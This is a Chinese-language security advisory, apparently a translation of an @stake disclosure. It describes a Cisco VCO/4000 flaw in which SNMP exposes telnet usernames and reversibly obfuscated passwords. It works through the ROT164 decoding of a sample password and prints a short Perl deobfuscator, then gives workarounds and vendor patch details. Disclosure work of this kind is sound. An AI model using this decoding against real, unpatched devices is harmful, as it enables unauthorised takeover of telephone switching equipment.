安全研究

安全漏洞
Cisco VCO/4000 SNMP 用户名及口令泄漏问题

发布日期:2000-10-29
更新日期:2000-10-29

受影响系统:

Cisco (Formerly Summa Four) VCO/4K v5.1.3以及更低版本
不受影响系统:

Cisco VCO/4K 5.1.4
描述:

Cisco 公司的Virtual Central Office 4000 (VCO/4K)是一个可编程的交换机,
可以提供多种电话功能如:语音服务,无线或者有线网络之间的切换等等。它
可以通过一些TCP/IP接口管理,包括telnet和SNMP.在SNMP接口中存在一个漏洞
导致攻击者可以获取telnet接口的用户名以及密文口令。由于密文口令很容易
被反向解密,因此攻击者可以获取对VCO/4K的完全控制权。

VCO/4K的SNMP MIB中包含一些可以列出用户名和口令的条目:    
        [ ... ]
        enterprises.886.1.1.1.1.2.1 = "someuser" -->用户名
        enterprises.886.1.1.1.1.3.1 = 0
        enterprises.886.1.1.1.1.4.1 = ".At4Cqq"  -->密文口令
        enterprises.886.1.1.1.1.5.1 = 0
        [ ... ]

这里的加密机制是相当简单的, 即每个密文字符由164减去明文字符得到,可
用如下公式表达:

ROT164(X) = 164 - X

上面例子中的密文解密过程:

    ROT164(".") = 164 - 046 = 118 => "v"
    ROT164("A") = 164 - 065 = 099 => "c"
    ROT164("t") = 164 - 116 = 048 => "0"
    ROT164("4") = 164 - 052 = 112 => "p"
    ROT164("C") = 164 - 067 = 097 => "a"
    ROT164("q") = 164 - 113 = 051 => "3"
    ROT164("q") = 164 - 113 = 051 => "3"

如果攻击者知道了VCO/4K设备的SNMP只读通信串,就可以获取用户名以及密文
口令列表,并很容易的获取明文口令,从而控制该设备。

<*来源:David Goldsmith <daveg@atstake.com>
        Brian Carrier <bcarrier@atstake.com>
        Rex Warren <rex@atstake.com>
        www.atstake.com/research/advisories/2000/A102600-1.txt
*>
    


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Rex Warren写了一个简单的perl脚本来进行解密:

<--- cut here --->
#!/usr/bin/perl

printf ("Cisco VCO/4K Password [De]Obfuscator\n");
printf ("\t\@stake, Inc.\n");
printf ("\tRex Warren, Brian Carrier, David Goldsmith\n");

printf ("Enter Password: ");
$pw = <STDIN>;
chop $pw;

printf("Result: ");
for ($pos = 0; $pos < length($pw); $pos++){
    printf("%s", chr(164 - ord(substr($pw, $pos, 1))));
}
printf("\n");

<--- cut here --->



建议:

临时解决方案:

NSFOCUS建议您如果不需要CISCO VCO/4K设备提供SNMP管理功能,就禁止此服
务。如果必须要求使用此服务,请设置通信串为一个比较难猜测的字符串,
并限制对其的访问。

厂商补丁:    

Cisco VCO/4K 5.1.4中已经从SNMP MIB中删除了用户名和口令项。
将于12月初发布的Cisco VCO/4K 5.2中将采用MD5加密方法替代当前的简单加
密机制。
    


浏览次数:6103
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障